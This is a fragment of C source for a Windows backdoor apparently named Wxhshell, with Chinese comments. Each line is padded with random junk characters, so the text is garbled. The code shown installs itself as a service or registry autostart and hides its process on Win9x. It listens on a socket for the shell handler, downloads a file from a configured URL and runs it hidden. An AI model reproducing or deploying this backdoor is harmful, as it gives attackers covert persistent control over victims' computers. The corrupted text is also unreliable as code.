ULONG UniqueProcessId; fVH*dX'Jz
ULONG InheritedFromUniqueProcessId; [ZKtbPHb
} PROCESS_BASIC_INFORMATION; GX7 eRqz >
2q-:p8
PROCNTQSIP NtQueryInformationProcess; bB;~,W&E1
Q 7uAf3
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ .Z[M
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +~w?Xw,
<V$Y6(uMs
HANDLE hProcess; :dY.D|j*
PROCESS_BASIC_INFORMATION pbi; f@!
fW&
i'W_;Y}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <78$]Z2we
if(NULL == hInst ) return 0; Ha)3i{OM
"Ju/[#VCJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k5aa>6K
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R=vbUA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .DDg%z
lL(p]!K'
if (!NtQueryInformationProcess) return 0; &G-#*OG
S2rEy2\}:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #~H%[s a
if(!hProcess) return 0; Uz6{>OCvk|
|
V.S.'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xb =8t!
R`@8.]cpPy
CloseHandle(hProcess); s[G|q5n
Wl&
>6./{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t7um
[
if(hProcess==NULL) return 0; <XQN;{xSa
AI1@-
HMODULE hMod; :DtZ8$I`]C
char procName[255]; UF&0&`@
unsigned long cbNeeded; 'Q:i&dTg
cWN d<=Jp
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MzEm*`<
H GO#e
CloseHandle(hProcess); !,cQ'*<W8-
/d0Q>v.g
if(strstr(procName,"services")) return 1; // 以服务启动 f >mhFy
,f8}q]FTA
return 0; // 注册表启动 /S:w&5e
} )XLj[6j0
>Z#uFt0<Pm
// 主模块 )-bD2YA{
int StartWxhshell(LPSTR lpCmdLine) 5h`m]#YEG
{ $}qDV>
qo
SOCKET wsl; %f3c7\=C
BOOL val=TRUE; *Q bM*oH
int port=0; Pm$F2YrO3
struct sockaddr_in door; FU_fCL8yA
t8+?U^j
if(wscfg.ws_autoins) Install(); q';&SR#"`K
:3f-9aRC!
port=atoi(lpCmdLine); S~+O`y^
!]$V9F{K
if(port<=0) port=wscfg.ws_port; WGH%92
U7^7/s/.
WSADATA data; .:w#&yM [U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zP_ ]
E]?)FH<oP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ppAmN0=G
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oR*ztM
door.sin_family = AF_INET; $ q%mu
door.sin_addr.s_addr = inet_addr("127.0.0.1"); z-n>9
door.sin_port = htons(port); a?5WKO
0CPxIF&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EkN_8(w
closesocket(wsl); OENzG~
return 1; R=!kbBK>\
} Q;4}gUmI$
FoE|Js
if(listen(wsl,2) == INVALID_SOCKET) { ,"~WkLI~\t
closesocket(wsl); K@B" ]6
return 1;
%b=Y
<v
} `_|aeoK_
Wxhshell(wsl); L
;6b+I
WSACleanup(); u3U4UK
30D:ZmlY
return 0; !n|#|.0m
$z*@2Non
} >BBl7
cppL0myJ
// 以NT服务方式启动 7$!yfMttu
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H5~1g6b@
{ }VF#\q
DWORD status = 0; 3pB}2]
DWORD specificError = 0xfffffff; 8EOh0gk7
n'THe|:I
serviceStatus.dwServiceType = SERVICE_WIN32; N? M
serviceStatus.dwCurrentState = SERVICE_START_PENDING; b`$yqi<[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lK0s=4c{
serviceStatus.dwWin32ExitCode = 0; G3G/xC"
serviceStatus.dwServiceSpecificExitCode = 0; e|yX QTlvL
serviceStatus.dwCheckPoint = 0; J0=7'@(p
serviceStatus.dwWaitHint = 0; UcgG
rVY?6OMkd
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IE2CRBfs
if (hServiceStatusHandle==0) return; 1j11|~
VM7 !0
status = GetLastError(); f0vJm
if (status!=NO_ERROR) WP}ixcq#
{ C@1CanL@3
serviceStatus.dwCurrentState = SERVICE_STOPPED; Bp
:~bHf
serviceStatus.dwCheckPoint = 0; m#JI!_~!
serviceStatus.dwWaitHint = 0; g6WPPpqus
serviceStatus.dwWin32ExitCode = status; X2qv^G,
serviceStatus.dwServiceSpecificExitCode = specificError; HN{z T&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QIQfI05
return; te i`/
} R~)ybf{
nP<S6:s:
serviceStatus.dwCurrentState = SERVICE_RUNNING; S.{fDcM
serviceStatus.dwCheckPoint = 0; K}x_nW
serviceStatus.dwWaitHint = 0; 1pK6=-3w3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^K+:C;Q|
} Jm4#V~w
5k]XQxc6_
// 处理NT服务事件,比如:启动、停止 [u`6^TycP
VOID WINAPI NTServiceHandler(DWORD fdwControl) f-4.WW2FN
{ 'TL2%T/)t
switch(fdwControl) 9e!vA6Fx
{ -IadHX}]t
case SERVICE_CONTROL_STOP: BWh}^3?l
serviceStatus.dwWin32ExitCode = 0; :}Ok$^5s
serviceStatus.dwCurrentState = SERVICE_STOPPED; OOok hZd`
serviceStatus.dwCheckPoint = 0; /Y,r@D
serviceStatus.dwWaitHint = 0; r$ =qQ7^#
{ zN%97q_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yG\UW&P
} 1]T|6N?
return; /%!~x[BeJ>
case SERVICE_CONTROL_PAUSE: e'34Pw!m
serviceStatus.dwCurrentState = SERVICE_PAUSED; Pe}PH
I
break; u^=`%)
case SERVICE_CONTROL_CONTINUE: V>Fesm"aq
serviceStatus.dwCurrentState = SERVICE_RUNNING; %t*[T
break; ~h!
13!
case SERVICE_CONTROL_INTERROGATE: Hy]
break; zzJja/mp
}; vg)Z]F=t(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >^=gDJ\a
} ~M5:=zKQ
7NJFWz!
// 标准应用程序主函数 X P;Bhz3j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z.'syGuV
{ w~|1Wd<v
u`_*g^5q"
// 获取操作系统版本 pISp*&
OsIsNt=GetOsVer(); M(enRs3`O
GetModuleFileName(NULL,ExeFile,MAX_PATH); L2fZ{bgy
,(N[*)G
// 从命令行安装 }^Gd4[(,g
if(strpbrk(lpCmdLine,"iI")) Install(); :_xh(W+2<
&$=! dA
// 下载执行文件 */(I[p
if(wscfg.ws_downexe) { 2/B)O)#ls
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w^HjZV
WinExec(wscfg.ws_filenam,SW_HIDE); OX\$ nQ\o
} W\8Ln>
Z(e^ iH
if(!OsIsNt) { ?qmp_2:WU
// 如果时win9x,隐藏进程并且设置为注册表启动 _'!kuE,*1
HideProc(); :U'Cor
H
StartWxhshell(lpCmdLine); e)@3m.
} j+kC-U;
else E7nFb:zlV
if(StartFromService()) _w!a`w*3
// 以服务方式启动 HbM0TXo
StartServiceCtrlDispatcher(DispatchTable); l+'F_a
else xq[Yg15d%
// 普通方式启动 mrM4RoO
StartWxhshell(lpCmdLine); Qhn;`9+L
fvqd'2 t
return 0; T2=HG Z
}